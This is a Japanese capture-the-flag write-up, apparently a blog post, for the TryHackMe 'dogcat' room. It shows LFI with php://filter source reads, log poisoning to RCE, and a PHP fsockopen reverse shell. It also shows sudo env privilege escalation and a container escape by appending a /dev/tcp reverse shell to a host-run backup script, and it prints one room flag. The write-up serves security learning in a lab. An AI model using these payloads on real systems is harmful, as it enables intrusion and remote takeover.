【TryHackMe】dogcat - Writeup

# はじめに

TryHackMeの **"dogcat"** というルームのWriteupです。
いぬとねこの写真が見れるサイトをハックしていきましょう！
- 難易度 : Medium

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/35f8113b-c1eb-87a1-11fe-01ec7817a861.png)

https://tryhackme.com/room/dogcat


### 目標

**Recon** (偵察) → **Enumeration** (列挙) → **GainingAccess** (侵入) → **PrivEsc** (権限昇格)
という流れで進めていきます。今回はフラグを４つ取得するのが目標です。

# Recon

### オープンポート調査

nmapでオープンポートを列挙します。

```
root@ip-10-10-246-163:~# nmap -Pn -A -T4 10.10.9.107

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 13:30 GMT
Nmap scan report for ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)
Host is up (0.00078s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (EdDSA)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
MAC Address: 02:2B:12:84:DD:2D (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.78 ms ip-10-10-9-107.eu-west-1.compute.internal (10.10.9.107)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.47 seconds
```

22(ssh), 80(http)が空いているようです。


### Webサイト偵察

サイトを見に来ました。
犬のボタンを押すと犬の写真、猫のボタンを押すと猫の写真が表示されるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/cefef462-fcd6-aa38-b1ac-7affbc8672c6.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/39d183be-854c-2970-9519-cccf0fff11b5.png)

犬のときのurlが`http://10.10.9.107/?view=dog` なので、
試しにクエリを`?view=rabbit` にしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/497537f6-1fdb-f91e-4a91-cc94f35aa53f.png)

怒られてしまいました。次は `?views=dogs`と入れてみました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/ed3ed5ae-bdf9-3fb3-6d15-4386c75464af.png)

先ほどの`Sorry, onlu dogs and cats are allowed` というエラーメッセージがなくなりましたが、今度は`dogs.php` が無いと言ってますね。

:::note  warn
- **dog** か **cat** のどちらかが入っていないとブロックされる　
- **dogs** と入れると、**dogs.php** が読み込まれる（ .phpが追加される ）
:::

# Enumeration

### ディレクトリスキャン

gobusterでディレクトリスキャンをします。

```shell
root@ip-10-10-246-163:~# gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php js html -u http://10.10.9.107
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.9.107
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2024/02/13 13:35:11 Starting gobuster
===============================================================
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 13:36:16 Finished
===============================================================
```

`/cats, /dogs`という気になるディレクトリがありましたが特にめぼしい情報はありませんでした。`flag.php`がありますが、phpファイルのため、urlに入れただけではもちろん見れません。


### ローカルファイルインクルージョン（LFI）

わからなくなってきたので問題文を見たらヒントがありました。

> Exploit a PHP application via LFI and break out of a docker container.

:::note
**ローカルファイルインクルージョン（LFI）とは？**
LFI脆弱性は、攻撃者がWebアプリケーションを通じてサーバー上の任意のファイルを読み込むことを可能にするセキュリティの弱点です。通常、これは不適切に検証されたユーザー入力を通じて発生します。例えば、Webアプリケーションがユーザーからの入力をファイルパスに直接使用し、その入力が適切に検証またはサニタイズされていない場合、攻撃者は任意のファイルを読み込むことができます。
:::

ファイルパスをどうにかすると良いみたいですね。ひとまず、
- クエリにdogがないといけない
- index.phpと同じ階層にdogsというディレクトリがある
- 最後に拡張子.phpがつけられるので`%00` で回避

するアイデアで、以下のURLを見てみます。

```:/etc/passwdが見たい
http://10.10.105.240/?view=dogs/../../../../../../../etc/passwd%00
```

エラーが出ました。想定通り拡張子無しで認識されているようですが、ファイルが開けないようです。なぜでしょうか、、、、

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/3fab3872-ea56-3931-9f95-ec7740387b0e.png)


`flag.php` も気になっているので、以下のURLを見てみます。

```:/flag.phpが見たい
http://10.10.105.240/?view=dogs/../flag
```

エラーは回避できましたがなにも見れません。
テキストファイルやhtmlではなく、PHPのソースコード内にflagがあるからです。
ソースコードを入手する必要がありそうです。

### PHPラッパーを利用する


`LFI, HackTrick` で調べてみると、良さそうな情報が見つかりました。

https://book.hacktricks.xyz/pentesting-web/file-inclusion

`php://`フィルターというものを使うことで、ファイルをエンコードをしたものが取得できるようです。試してみましょう。

```
http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog
```

とするとハッシュが表示されました。

デコードしてあげると、、、

```:dog.php
root@ip-10-10-246-163:~# echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 --decode
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
```

`dog.php`の中身が見れました。10枚の写真からランダムに表示させるプログラムのようです。このまま`flag.php`も見ていきましょう。

```:flag.php
root@ip-10-10-246-163:~# echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 --decode 
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
root@ip-10-10-246-163:~# 
```

フラグが取得できました。

同様に`index.php` を見てみましょう。

```
http://10.10.9.107/?view=php://filter/convert.base64-encode/resource=dog/../index
```

にアクセスした結果の文字列をbase64でデコードします。

以下のようなphpコードが見れました。


```php:index.php
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>
```

ソースコードをよく見ると、`$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';` で拡張子が決められているようです。

- extというクエリに何もなければ`.php`
- extに指定があればその拡張子 

になるみたいなので、extを空白に指定してみましょう。

```
http://10.10.165.33/?view=dog/../../../../etc/passwd&ext=
```

これで`/etc/passwd`が見れてしまいました。残念ながら`/etc/shadow`は見れず。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/6b416d56-fb5d-2b6d-1208-e6896884c8f6.png)

:::note warn
phpファイルはPHPラッパーを利用して閲覧
テキストファイルはPHPラッパーを利用せず`ext=` として閲覧
:::

# Gaining Access



### ログポイズニング（LFI2RCE）

「`LFI` を利用してログファイルに仕込んだペイロードを実行する」
という攻撃があるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/5b0faea6-5384-1326-aecc-387c42849043.png)

https://github.com/yukitsukai47/PenetrationTesting_cheatsheet

上記を参考に、User-Agentにペイロードを書き込んでログファイルに仕込み、urlからパラメータ`cmd`を指定して実行します。BurpSuiteを開いて、HTTPリクエストをRepeaterに送っておきます。まず`ls`で試してみました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/9b3e360d-5172-67bb-65fa-89cd5a28288a.png)

`ls` が実行されているのが分かります。

では、この`ls`の部分をリバースシェルに置き換えて実行させましょう。今回利用したリバースシェルはこちら。

```
php -r '$sock=fsockopen("10.8.32.250",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
```

BurpSuiteのDecoderからリバースシェルをurlが読めるように **%エンコード** していきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/12a68bf0-f8e3-7b3b-8b9b-cb57856eaec1.png)

エンコードしたものを先ほどの`ls`の部分に入れてリクエストを送信します。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/19450f4b-0eb1-9bf2-2dd6-4e9228bfbdff.png)

リスナーを見てみると、リバースシェルが成功していました。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.38.206] 51842
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 
```

シェルの安定化を行いたかったのですが、pythonがないためいつもの方法は出来ませんでした。

# PrivEsc

侵入できたので権限昇格していきましょう。

```
$ whoami
www-data
$ sudo -l
Matching Defaults entries for www-data on 3223417acdba:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 3223417acdba:
    (root) NOPASSWD: /usr/bin/env
```

いつも通り`sudo -l`をしてみると、`env` がsudo権限で実行できるようだったので、CTFObinsで検索してそのまま攻撃コードを実行してみます。

https://gtfobins.github.io/gtfobins/env/

```
$ sudo env /bin/sh
whoami
root
```

あっけなくルートになることが出来ました。フラグを探していきます。

```
find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/root/flag3.txt

cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{L****************b}

cat /root/flag3.txt
THM{D********************2}
```

フラグが２つ見つかりました。残すはあと１つです！

### コンテナエスケープ

最後のフラグがなかなか見つからないので問題文を見てみるとDockerコンテナから抜け出すと書いてありました。

> I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

`.dockerenv`ファイルがあるので、ここはDockerコンテナの中であることが分かります。


```
cd /
ls -la
total 80
drwxr-xr-x   1 root root 4096 Feb 17 15:35 .
drwxr-xr-x   1 root root 4096 Feb 17 15:35 ..
-rwxr-xr-x   1 root root    0 Feb 17 15:35 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 26  2020 bin
(中略)
```

:::note warn
Dockerコンテナ内かどうかは、`.dockerenv`の有無で判別する
:::

コンテナ内からホストOSに侵入していきます。ホストOSと共有しているフォルダ等がないか調べていたのですが、気になるファイルを見つけました。

```
cd /opt/backups 

ls -l
total 2884
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Feb 26 05:47 backup.tar

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

現在の環境に`/root/container`というディレクトリはないので、これはホストOSで実行されるシェルだと思われます。

バックアップするプログラムであることから、定期的にこの`backup.sh`が実行されている可能性が高いため、ここにリバースシェルを仕込んで、ホストOSに侵入します。

以下のリバースシェルを利用しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/99fbea7f-8543-3f09-cb2f-75bdf82d4439.png)

```
echo "sh -i >& /dev/tcp/10.8.32.250/1234 0>&1" >> backup.sh
```

`backup.sh`に書き込んでリスナーを見てみます。しばらく待つと、、、


```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.54.53] 46588
sh: 0: can't access tty; job control turned off
# whoami
root
```

ホストOSに侵入することが出来ました。

```
# ls -la
total 40
drwx------  6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
lrwxrwxrwx  1 root root    9 Mar 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Apr  8  2020 .cache
drwxr-xr-x  5 root root 4096 Mar 10  2020 container
-rw-r--r--  1 root root   80 Mar 10  2020 flag4.txt
# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_***********_****************}
```

最後のフラグも無事取得できました。


# あとがき

**LFI2RCE**（LFIの脆弱性を利用してログにリバースシェルを仕込んで実行させる）と**コンテナエスケープ** （コンテナからホストOSに侵入する）を体験することが出来て非常に勉強になったルームでした。

今回何度もリクエストを微修正して送ったのですが、BurpSuiteのRepeaterが便利で、お気に入りになりました。

また、コンテナ内にホストOSで実行されるバックアップシェルが置いてあるのは普通なんでしょうか？コンテナは安全と思わずに、しっかり対策を行うように注意しましょう。

Try Harder !